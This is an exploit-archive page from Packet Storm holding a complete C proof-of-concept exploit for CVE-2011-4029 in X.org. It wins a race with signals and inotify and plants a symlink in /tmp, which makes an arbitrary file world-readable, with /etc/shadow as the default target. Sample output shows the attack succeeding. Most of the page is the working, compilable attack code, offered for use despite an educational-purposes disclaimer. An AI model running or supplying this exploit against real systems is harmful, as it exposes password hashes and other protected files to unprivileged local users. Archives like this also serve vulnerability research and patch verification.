what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

X.org File Permission Change Proof Of Concept

X.org File Permission Change Proof Of Concept
Posted Dec 16, 2011
Authored by vladz

This proof of concept exploit sets permissions to 444 on an arbitrary file specified as an argument by leveraging SIGSTOP/SIGCONT signals and the Inotify API to win a race condition in X.

tags | exploit, arbitrary, proof of concept
advisories | CVE-2011-4029
SHA-256 | 0ea22872b6b51bf5249b0a70a12ebe97e3272ad611f24a936335036486484018

X.org File Permission Change Proof Of Concept

Change Mirror Download
/* xchmod.c -- Xorg file permission change vulnerability PoC

This PoC exploits CVE-2011-4029 to set the rights 444 (read for all) on
arbitrary file specified as argument (default file is "/etc/shadow").
It uses SIGSTOP/SIGCONT signals and the Inotify API to win the race.
Made for EDUCATIONAL PURPOSES ONLY!

On some configurations, this exploit must be launched from a TTY (switch
by typing Ctrl-Alt-Fn). But not on Debian, because it bypasses the X
wrapper permission thanks to CVE-2011-4613!

Tested on Debian 6.0.3 up to date with X default configuration issued
from the xserver-xorg-core package (version 2:1.7.7-13).

Compile: cc xchmod.c -o xchmod
Usage: ./xchmod [/path/to/file] (default file is /etc/shadow)

$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1072 Aug 7 07:10 /etc/shadow
$ ./xchmod
[+] Trying to stop a Xorg process right before chmod()
[+] Process ID 4134 stopped (SIGSTOP sent)
[+] Removing /tmp/.tX1-lock by launching another Xorg process
[+] Creating evil symlink (/tmp/.tX1-lock -> /etc/shadow)
[+] Process ID 4134 resumed (SIGCONT sent)
[+] Attack succeeded, ls -l /etc/shadow:
-r--r--r-- 1 root shadow 1072 Aug 7 07:10 /etc/shadow

-----------------------------------------------------------------------

"THE BEER-WARE LICENSE" (Revision 42):
<vladz@devzero.fr> wrote this file. As long as you retain this notice
you can do whatever you want with this stuff. If we meet some day, and
you think this stuff is worth it, you can buy me a beer in return. -V.
*/

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <syscall.h>
#include <signal.h>
#include <string.h>
#include <stdlib.h>
#include <sys/inotify.h>
#include <sys/types.h>
#include <sys/wait.h>

#define XORG_BIN "/usr/bin/X"
#define DISPLAY ":1"


char *get_tty_number(void) {
char tty_name[128], *ptr;

memset(tty_name, '\0', sizeof(tty_name));
readlink("/proc/self/fd/0", tty_name, sizeof(tty_name));

if ((ptr = strstr(tty_name, "tty")))
return ptr + 3;

return NULL;
}


void timeout_handler() {

printf("[-] read() timeout! \n");
if (!get_tty_number())
printf("Try with console ownership: switch to a TTY by using "
"Ctrl-Alt-F[1-6] and try again.\n");
else
printf("Maybe inotify isn't enabled.\n");

_exit(1);
}


int launch_xorg_instance(int inc) {
int pid, newfd;
char *opt[] = { XORG_BIN, DISPLAY, NULL };

if ((pid = fork()) == 0) {
newfd = open("/dev/tty", O_RDONLY);
dup2(newfd, 0); close(1); close(2);

nice(inc); usleep(30000);
execve(XORG_BIN, opt, NULL);
_exit(0);
}

return pid;
}


void show_target_file(char *file) {
char cmd[128];

memset(cmd, '\0', sizeof(cmd));
sprintf(cmd, "/bin/ls -l %s", file);
system(cmd);
}


int main(int argc, char **argv) {
pid_t pid, remove_pid;
struct stat st;
int fd, wd, status;
char targetfile[128], lockfiletmp[20], lockfile[20];

if (argc < 2)
strcpy(targetfile, "/etc/shadow");
else
strcpy(targetfile, argv[1]);

sprintf(lockfile, "/tmp/.X%s-lock", DISPLAY + 1);
sprintf(lockfiletmp, "/tmp/.tX%s-lock", DISPLAY + 1);

if (stat(lockfile, &st) == 0) {
printf("[-] %s exists, maybe Xorg is already running on this"
" display? Choose another display by editing the DISPLAY"
" attributes.\n", lockfile);
return 1;
}

umask(077);
signal(SIGALRM, timeout_handler);

symlink("/dontexist", lockfile);

fd = inotify_init();
wd = inotify_add_watch(fd, "/tmp", IN_CREATE);

alarm(5);
printf("[+] Trying to stop a Xorg process right before chmod()\n");
pid = launch_xorg_instance(19);
syscall(SYS_read, fd, 0, 0);
syscall(SYS_kill, pid, SIGSTOP);
alarm(0);

printf("[+] Process ID %d stopped (SIGSTOP sent)\n", pid);

inotify_rm_watch(fd, wd);

stat(lockfiletmp, &st);
if ((st.st_mode & 4) != 0) {
printf("[-] %s file has wrong rights (%o) removing it by launching"
" another Xorg process\n[-] Attack failed. Try again!\n",
lockfiletmp, st.st_mode);

remove_pid = launch_xorg_instance(0);
waitpid(remove_pid, &status, 0);
unlink(lockfile);
return 1;
}

printf("[+] Removing %s by launching another Xorg process\n",
lockfiletmp);
remove_pid = launch_xorg_instance(0);
waitpid(remove_pid, &status, 0);

printf("[+] Creating evil symlink (%s -> %s)\n", lockfiletmp,
targetfile);
symlink(targetfile, lockfiletmp);

printf("[+] Process ID %d resumed (SIGCONT sent)\n", pid);
kill(pid, SIGCONT);
waitpid(pid, &status, 0);

unlink(lockfile);

stat(targetfile, &st);
if (!(st.st_mode & 004)) {
printf("[-] Attack failed, rights are %o. Try again!\n", st.st_mode);
return 1;
}

printf("[+] Attack succeeded, ls -l %s:\n", targetfile);
show_target_file(targetfile);

return 0;
}


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close